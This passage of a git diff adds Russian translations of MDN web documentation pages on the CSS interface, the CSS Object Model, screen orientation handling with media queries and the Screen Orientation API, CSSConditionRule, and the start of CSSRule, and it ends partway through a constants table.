+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс CSS это утилитарный интерфейс и не имеет объектов этого типа которые могут быть созданы: только статитеские методы определены в нем.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Интерфейс CSS это утилитарный интерфейс и не имеет объектов этого типа которые могут быть созданы: только статитеские методы определены в нем.</em></p>
+
+<h2 id="Статические_методы">Статические методы</h2>
+
+<p>Не наследует статических методов.</p>
+
+<dl>
+ <dt>{{domxref("CSS.supports()")}}</dt>
+ <dd>Возвращает {{domxref("Boolean")}} показывающие или свойство <em>property-value</em>, или состояние, даюющее в параметре поддерживаемые.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("CSS.escape()")}} {{experimental_inline}}</dt>
+ <dd>Может быть быть использован для вывода строки в основном для использования в качестве части CSS селектора.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-css.escape%28%29-method', 'CSS')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td>Добавлен <code>escape()</code> статический метод.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>28.0</td>
+   <td>{{CompatGeckoDesktop("22.0")}} [1]</td>
+   <td>6.0</td>
+   <td>12.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>escape()</code>{{experimental_inline}}</td>
+   <td>46.0</td>
+   <td>{{CompatGeckoDesktop("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>12.1</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>escape()</code>{{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile("31.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] было доступно <code>layout.css.supports-rule.enabled</code> начиная с Gecko 20.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/css_object_model/index.html b/files/ru/web/api/css_object_model/index.html
new file mode 100644
index 0000000000..c9d2a9c8d6
--- /dev/null
+++ b/files/ru/web/api/css_object_model/index.html
@@ -0,0 +1,208 @@
+---
+title: CSS Object Model (CSSOM)
+slug: Web/API/CSS_Object_Model
+tags:
+  - API
+  - CSSOM
+translation_of: Web/API/CSS_Object_Model
+---
+<div>{{DefaultAPISidebar('CSSOM')}}</div>
+
+<p class="summary"><strong>CSS Object Model</strong><font><font> представляет собой набор API-</font><font>интерфейсов, </font><font>позволяющих манипулировать CSS из JavaScript. </font><font>Это очень похоже на DOM, но для CSS, а не HTML. </font><font>Это позволяет пользователям динамически читать и изменять стиль CSS.</font></font></p>
+
+<h2 id="Ссылки">Ссылки</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("AnimationEvent")}}</li>
+ <li>{{domxref("CaretPosition")}}</li>
+ <li>{{domxref("CSS")}}</li>
+ <li>{{domxref("CSSCharsetRule")}}</li>
+ <li>{{domxref("CSSConditionRule")}}</li>
+ <li>{{domxref("CSSCounterStyleRule")}}</li>
+ <li>{{domxref("CSSFontFaceRule")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesMap")}}</li>
+ <li>{{domxref("CSSFontFeatureValuesRule")}}</li>
+ <li>{{domxref("CSSGroupingRule")}}</li>
+ <li>{{domxref("CSSImportRule")}}</li>
+ <li>{{domxref("CSSKeyframeRule")}}</li>
+ <li>{{domxref("CSSKeyframesRule")}}</li>
+ <li>{{domxref("CSSMarginRule")}}</li>
+ <li>{{domxref("CSSMediaRule")}}</li>
+ <li>{{domxref("CSSNamespaceRule")}}</li>
+ <li>{{domxref("CSSPageRule")}}</li>
+ <li>{{domxref("CSSRule")}}</li>
+ <li>{{domxref("CSSRuleList")}}</li>
+ <li>{{domxref("CSSStyleDeclaration")}}</li>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+ <li>{{domxref("CSSStyleRule")}}</li>
+ <li>{{domxref("CSSSupportsRule")}}</li>
+ <li>{{domxref("CSSVariablesMap")}}</li>
+ <li>{{domxref("CSSViewportRule")}}</li>
+ <li>{{domxref("ElementCSSInlineStyle")}}</li>
+ <li>{{DOMxRef("FontFace")}}</li>
+ <li>{{DOMxRef("FontFaceSet")}}</li>
+ <li>{{DOMxRef("FontFaceSetLoadEvent")}}</li>
+ <li>{{domxref("GeometryUtils")}}</li>
+ <li>{{domxref("GetStyleUtils")}}</li>
+ <li>{{domxref("LinkStyle")}}</li>
+ <li>{{domxref("MediaList")}}</li>
+ <li>{{domxref("MediaQueryList")}}</li>
+ <li>{{DOMxRef("MediaQueryListEvent")}}</li>
+ <li>{{DOMxRef("MediaQueryListListener")}}</li>
+ <li>{{domxref("PseudoElement")}}</li>
+ <li>{{domxref("Screen")}}</li>
+ <li>{{domxref("StyleSheet")}}</li>
+ <li>{{domxref("StyleSheetList")}}</li>
+ <li>{{domxref("TransitionEvent")}}</li>
+</ul>
+</div>
+
+<p> </p>
+
+<p dir="ltr" id="tw-target-text">Несколько других интерфейсов также расширены спецификациями, связанными с CSSOM:</p>
+
+<p dir="ltr">{{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.</p>
+
+<h3 id="CSS_Typed_Object_Model" name="CSS_Typed_Object_Model">CSS Typed Object Model {{experimental_inline}}</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("CSSImageValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSKeywordValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathInvert")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathMax")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathMin")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathNegate")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathProduct")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathSum")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMathValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSMatrixComponent")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSNumericArray")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSNumericValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSPerspective")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSPositionValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSRotate")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSScale")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSSkew")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSSkewX")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSSkewY")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSStyleValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSTransformComponent")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSTransformValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSTranslate")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSUnitValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSUnparsedValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("CSSVariableReferenceValue")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("StylePropertyMap")}} {{experimental_inline}}</li>
+ <li>{{DOMxRef("StylePropertyMapReadOnly")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<h3 id="Obsolete_CSSOM_interfaces" name="Obsolete_CSSOM_interfaces">Устаревшие CSSOM interfaces {{obsolete_inline}}</h3>
+
+<p>{{obsolete_header}}</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("CSSPrimitiveValue")}} {{obsolete_inline}}</li>
+ <li>{{DOMxRef("CSSValue")}} {{obsolete_inline}}</li>
+ <li>{{DOMxRef("CSSValueList")}} {{obsolete_inline}}</li>
+</ul>
+</div>
+
+<h2 id="Уроки">Уроки</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Determining_the_dimensions_of_elements">Определение размеров элементов</a> (урок нуждается в обновлении,так как он был сделан в эпоху DHTML/Ajax).</li>
+ <li><a href="/en-US/docs/WebAPI/Managing_screen_orientation">Управление ориентацией экрана</a></li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Typed OM")}}</td>
+   <td>{{Spec2("CSS Typed OM")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Painting API")}}</td>
+   <td>{{Spec2("CSS Painting API")}}</td>
+   <td>Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Screen Orientation")}}</td>
+   <td>{{Spec2("Screen Orientation")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Fonts")}}</td>
+   <td>{{Spec2("CSS3 Fonts")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td>Defined the {{DOMxRef("CSS")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles")}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>Все эти функции постепенно добавлялись в разные браузеры постепенно: это был довольно сложный процесс, который не может быть сведен в простую таблицу. Пожалуйста, обратитесь к конкретным интерфейсам для его доступности.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document_Object_Model">Document Object Model (DOM)</a></li>
+</ul>
diff --git a/files/ru/web/api/css_object_model/ориентация_экрана/index.html b/files/ru/web/api/css_object_model/ориентация_экрана/index.html
new file mode 100644
index 0000000000..a6b16cba4a
--- /dev/null
+++ b/files/ru/web/api/css_object_model/ориентация_экрана/index.html
@@ -0,0 +1,183 @@
+---
+title: Разбираемся с ориентацией экрана
+slug: Web/API/CSS_Object_Model/ориентация_экрана
+tags:
+  - Ориентация экрана
+  - Положение экрана
+  - Руководство
+translation_of: Web/API/CSS_Object_Model/Managing_screen_orientation
+---
+<p>{{DefaultAPISidebar("Screen Orientation API")}}{{SeeCompatTable}}</p>
+
+<p>Ориентация экрана не идентична <a href="/en-US/docs/WebAPI/Detecting_device_orientation">ориентации устройства</a>.
+Даже если устройство не способно определить свое положение в пространстве — экран может всегда. А когда устройство знает свою ориентацию, хорошо бы иметь возможность управлять ориентацией экрана для
+сохранения или адаптации интерфейса веб-приложения.</p>
+
+<p>Управление ориентацией экрана доступно в CSS и JavaScript.
+Например, <a href="/ru/docs/Web/CSS/Media_Queries/Using_media_queries">использование медиа-запросов</a> позволяет контенту адаптироваться с помощью CSS в зависимости от того, в каком режиме просмотра находится браузер: альбомный (горизонтальный, когда ширина экрана больше высоты) или портретный (вертикальный, высота экрана больше ширины).</p>
+
+<p>Для определения положения экрана и его блокировки можно воспользоваться <i>JavaScript Screen orientation API</i>.</p>
+
+<h2 id="Настройка_раскладки_содержимого_по_ориентации_экрана">Настройка раскладки содержимого по ориентации экрана</h2>
+
+<p>Допустим Вы хотите связать отображение содержимого с ориентацией экрана. Например, добавить панель, растягивающуюся по наибольшему направлению дисплея устройства. Это довольно просто реализовать с помощью медиа запросов.</p>
+
+<p>Пример. Имеется HTML страница:</p>
+
+<pre class="brush: html notranslate">&lt;ul id="toolbar"&gt;
+  &lt;li&gt;A&lt;/li&gt;
+  &lt;li&gt;B&lt;/li&gt;
+  &lt;li&gt;C&lt;/li&gt;
+&lt;/ul&gt;
+
+&lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Duis lacinia nisi nec sem viverra vitae fringilla nulla ultricies. In ac est dolor, quis tincidunt leo. Cras commodo quam non tortor consectetur eget rutrum dolor ultricies. Ut interdum tristique dapibus. Nullam quis malesuada est.&lt;/p&gt;
+</pre>
+
+<p>Соответствующий CSS:</p>
+
+<pre class="brush: css notranslate">/* Сначала зададим простые стили */
+
+html, body {
+  width : 100%;
+  height: 100%;
+}
+
+body {
+  border: 1px solid black;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+p {
+  font   : 1em sans-serif;
+  margin : 0;
+  padding: .5em;
+}
+
+ul {
+  list-style: none;
+
+  font   : 1em monospace;
+  margin : 0;
+  padding: .5em;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+
+  background: black;
+}
+
+li {
+  display: inline-block;
+  margin : 0;
+  padding: 0.5em;
+  background: white;
+}
+</pre>
+
+<p>Теперь разберемся с поведением страницы в различных случаях ориентации.</p>
+
+<pre class="brush: css notranslate">/* Для портретного режима отправим панель на верхнюю часть области отображения */
+
+@media screen and (orientation: portrait) {
+  #toolbar {
+    width: 100%;
+  }
+}
+
+/* Для альбомного режима пускай панель отображается слева */
+
+@media screen and (orientation: landscape) {
+  #toolbar {
+    position: fixed;
+    width: 2.65em;
+    height: 100%;
+  }
+
+  p {
+    margin-left: 2em;
+  }
+
+  li + li {
+    margin-top: .5em;
+  }
+}
+</pre>
+
+<p>Результат:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Портреный режим просмотра</th>
+   <th scope="col">Альбомный режим просмотра</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>
+    <div style="max-width: 220px;">{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 180, 350) }}</div>
+   </td>
+   <td>
+    <div style="max-width: 390px;">{{ EmbedLiveSample('Adjusting_layout_based_on_the_orientation', 350, 180) }}</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Примечание:</strong> Медиа запрос по ориентации ссылается на окно браузера (соотношение его размеров), а не на ориентацию устройства.</p>
+</div>
+
+<h2 id="Блокировка_ориентации_экрана">Блокировка ориентации экрана</h2>
+
+<div class="warning">
+<p><strong>Предупреждение:</strong> Этот API вводится в экспериментальном режиме и доступен в <a href="/ru/docs/Archive/B2G_OS" title="Firefox OS">Firefox OS</a> и <a href="/ru/docs/Mozilla/Firefox_для_Android" title="Firefox for Android">Firefox для Android</a> с приставкой <code>moz</code>, а также для Internet Explorer на Windows 8.1 и выше с приставкой <code>ms</code>.</p>
+</div>
+
+<p>Некоторые устройства (в основном мобильные) могут изменять ориентацию экрана в соответствии с ориентацией самого устройства для удобства восприятия информации пользователем.
+Это хорошо подходит для текста, но на некоторое содержимое такое поведение может оказать негативное воздействие. Например, это трагичная ситуация для игры, разработанной под определенную ориентацию.</p>
+
+<p>Урегулировать вопрос, связанный с изменением положения экрана, поможет интерфейс Screen Orientation API.</p>
+
+<h3 id="Отслеживание_изменения_ориентации">Отслеживание изменения ориентации</h3>
+
+<p>Событие {{event("orientationchange")}} возникает каждый раз, когда устройство изменяет ориентацию экрана и самого себя, и может быть отслежено свойством {{domxref("Screen.orientation")}}.</p>
+
+<pre class="brush: js notranslate">screen.addEventListener("orientationchange", function () {
+  console.log("The orientation of the screen is: " + screen.orientation);
+});
+</pre>
+
+<h3 id="Запрещаем_поворот_экрана">Запрещаем поворот экрана</h3>
+
+<p>Любое веб-приложение может заблокировать положение экрана. Методом {{domxref("Screen.lockOrientation()")}} положение блокируется. Разблокирование осуществляется методом {{domxref("Screen.unlockOrientation()")}}.</p>
+
+<p>Метод {{domxref("Screen.lockOrientation()")}} принимает одну или несколько строк для определения типа блокировки: <code>portrait-primary</code>, <code>portrait-secondary</code>, <code>landscape-primary</code>, <code>landscape-secondary</code>, <code>portrait</code>, <code>landscape</code>. Подробнее: {{domxref("Screen.lockOrientation")}}.</p>
+
+<pre class="brush: js notranslate">screen.lockOrientation('landscape');</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> Положение экрана зависит от конкретной настройки приложения. Если в приложении A экран блокируется на альбомную ориентацию (<code>landscape</code>), а приложение B блокирует экран на портретный режим (<code>portrait</code>),
+то переход из приложения A в приложение B (или наоборот) не вызовет событие изменения ориентации экрана {{event("orientationchange")}}, т. к. оба приложения сохраняют заданную ориентацию.</p>
+
+<p>В то же время, событие {{event("orientationchange")}} может возникнуть в момент блокировки ориентации, если для удовлетворения заданному параметру блокировки изменяется положение экрана.</p>
+</div>
+
+<h2 id="Firefox_OS_и_Android_блокирование_ориентации_через_манифест">Firefox OS и Android: блокирование ориентации через манифест</h2>
+
+<p>Для Firefox OS и Firefox Android (скоро заработает и в десктопном Firefox) существует более специфичный способ: в файле манифеста Вашего приложения можно указать <a href="/en-US/Apps/Build/Manifest#orientation">ориентацию</a>:</p>
+
+<pre class="brush: json notranslate">"orientation": "portrait"</pre>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li>{{domxref("Screen.orientation")}}</li>
+ <li>{{domxref("Screen.lockOrientation()")}}</li>
+ <li>{{domxref("Screen.unlockOrientation()")}}</li>
+ <li>{{domxref("Screen.onorientationchange")}}</li>
+ <li><a href="/en-US/docs/CSS/Media_queries#orientation" title="en-US/CSS/Media queries#orientation">The orientation media query</a></li>
+ <li><a class="external" href="http://hacks.mozilla.org/2009/06/media-queries/" title="http://hacks.mozilla.org/2009/06/media-queries/">A short introduction to media queries in Firefox 3.5</a></li>
+</ul>
diff --git a/files/ru/web/api/cssconditionrule/index.html b/files/ru/web/api/cssconditionrule/index.html
new file mode 100644
index 0000000000..9dd669526f
--- /dev/null
+++ b/files/ru/web/api/cssconditionrule/index.html
@@ -0,0 +1,113 @@
+---
+title: CSSConditionRule
+slug: Web/API/CSSConditionRule
+translation_of: Web/API/CSSConditionRule
+---
+<p>{{ APIRef("CSSOM") }}</p>
+
+<p>An object implementing the <strong><code>CSSConditionRule</code></strong> interface represents a single condition CSS at-rule, which consists of a condition and a statement block. It is a child of {{domxref("CSSGroupingRule")}}.</p>
+
+<p>Two objects derive from it : {{domxref("CSSMediaRule")}} and {{domxref("CSSSupportsRule")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<p>The syntax is described using the <a class="external" href="http://dev.w3.org/2006/webapi/WebIDL/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL</a> format.</p>
+
+<pre>interface CSSConditionRule : CSSGroupingRule {
+    attribute DOMString conditionText;
+}
+</pre>
+
+<h2 id="Properties">Properties</h2>
+
+<p>The <code>CSSConditionRule</code> derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all properties of these classes. It has one specific property:</p>
+
+<dl>
+ <dt>{{domxref("CSSConditionRule.conditionText")}}</dt>
+ <dd>Represents the text of the condition of the rule.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>The <code>CSSConditionRule</code> derives from {{domxref("CSSRule")}}, {{domxref("CSSGroupingRule")}} and inherits all methods of these classes. It has no specific property of its own.</p>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Conditional', '#the-cssconditionrule-interface', 'CSSConditionRule') }}</td>
+   <td>{{ Spec2('CSS3 Conditional') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("20.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatOpera(43)}}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(56.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatGeckoMobile("20.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatOperaMobile(43)}}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(56.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en/DOM/Using_dynamic_styling_information" title="en/DOM/Using_dynamic_styling_information">Using dynamic styling information</a></li>
+</ul>
diff --git a/files/ru/web/api/cssrule/index.html b/files/ru/web/api/cssrule/index.html
new file mode 100644
index 0000000000..dcdb8381d1
--- /dev/null
+++ b/files/ru/web/api/cssrule/index.html
@@ -0,0 +1,323 @@
+---
+title: CSSRule
+slug: Web/API/CSSRule
+translation_of: Web/API/CSSRule
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>Интерфейс <strong>CSSRule </strong>представляет собой одно правило CSS. Есть несколько типов правил, перечисленных в разделе {{anch("Type constants")}} ниже.</p>
+
+<p>Интерфейс CSSRule определяет общие свойства для всех правил, в то время как свойства характерные только для определенных типов правил указаны в более специализированных интерфейсах для соответствующих типов этих правил.</p>
+
+<p>Ссылки на CSSRule выможете получить на странице {{domxref ("CSSStyleSheet")}} список cssRules.</p>
+
+<h2 id="Общие_свойства_для_всех_экземпляров_CSSRule">Общие свойства для всех экземпляров CSSRule</h2>
+
+<dl>
+ <dt id="cssText">{{domxref("CSSRule.cssText")}}</dt>
+ <dd>Represents the textual representation of the rule, e.g. "<code>h1,h2 { font-size: 16pt }</code>" or "<code>@import 'url'</code>". To access or modify parts of the rule (e.g. the value of "font-size" in the example) use the properties on the {{anch("Type constants", "specialized interface for the rule's type")}}.</dd>
+ <dt id="parentRule">{{domxref("CSSRule.parentRule")}} {{readonlyinline}}</dt>
+ <dd>Returns the containing rule, otherwise <code>null</code>. E.g. if this rule is a style rule inside an {{cssxref("@media")}} block, the parent rule would be that {{domxref("CSSMediaRule")}}.</dd>
+ <dt id="parentStyleSheet">{{domxref("CSSRule.parentStyleSheet")}} {{readonlyinline}}</dt>
+ <dd>Returns the {{domxref("CSSStyleSheet")}} object for the style sheet that contains this rule</dd>
+ <dt id="type">{{domxref("CSSRule.type")}} {{readonlyinline}}</dt>
+ <dd>One of the {{anch("Type constants")}} indicating the type of CSS rule.</dd>
+</dl>
+
+<h2 id="CSSRule" name="CSSRule">Константы</h2>
+
+<h3 id="Типы_констант">Типы констант</h3>
+
+<p>The <code>CSSRule</code> interface specifies integer constants that can be used in conjunction with a <code>CSSRule</code>'s {{domxref("cssRule/type","type")}} property to discern the rule type (and therefore, which specialized interface it implements). The relationships between these constants and the interfaces are:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Type</th>
+   <th>Value</th>
+   <th>Rule-specific interface</th>
+   <th>Comments and examples</th>
+  </tr>
+  <tr>
+   <td><code>CSSRule.STYLE_RULE</code></td>
+   <td style="text-align: center;"><code>1</code></td>
+   <td>{{domxref("CSSStyleRule")}}</td>
+   <td>The most common kind of rule:<br>
+    <code>selector { prop1: val1; prop2: val2; }</code></td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.IMPORT_RULE</code></td>
+   <td style="text-align: center;"><code>3</code></td>
+   <td>{{domxref("CSSImportRule")}}</td>
+   <td>An {{cssxref("@import")}} rule. (Until the documentation is completed, see the interface definition in the Mozilla source code: <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/css/nsIDOMCSSImportRule.idl#9">nsIDOMCSSImportRule</a>.)</td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.MEDIA_RULE</code></td>
+   <td style="text-align: center;"><code>4</code></td>
+   <td>{{domxref("CSSMediaRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.FONT_FACE_RULE</code></td>
+   <td style="text-align: center;"><code>5</code></td>
+   <td>{{domxref("CSSFontFaceRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.PAGE_RULE</code></td>
+   <td style="text-align: center;"><code>6</code></td>
+   <td>{{domxref("CSSPageRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.KEYFRAMES_RULE</code></td>
+   <td style="text-align: center;"><code>7</code></td>
+   <td>{{domxref("CSSKeyframesRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.KEYFRAME_RULE</code></td>
+   <td style="text-align: center;"><code>8</code></td>
+   <td>{{domxref("CSSKeyframeRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><em>Reserved for future use</em></td>
+   <td style="text-align: center;"><code>9</code></td>
+   <td> </td>
+   <td>Should be used to define color profiles in the future</td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.NAMESPACE_RULE</code></td>
+   <td style="text-align: center;"><code>10</code></td>
+   <td>{{domxref("CSSNamespaceRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.COUNTER_STYLE_RULE</code></td>
+   <td style="text-align: center;"><code>11</code></td>
+   <td>{{domxref("CSSCounterStyleRule")}} {{experimental_inline}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.SUPPORTS_RULE</code></td>
+   <td style="text-align: center;"><code>12</code></td>
+   <td>{{domxref("CSSSupportsRule")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>CSSRule.DOCUMENT_RULE</code></td>
+   <td style="text-align: center;"><code>13</code></td>
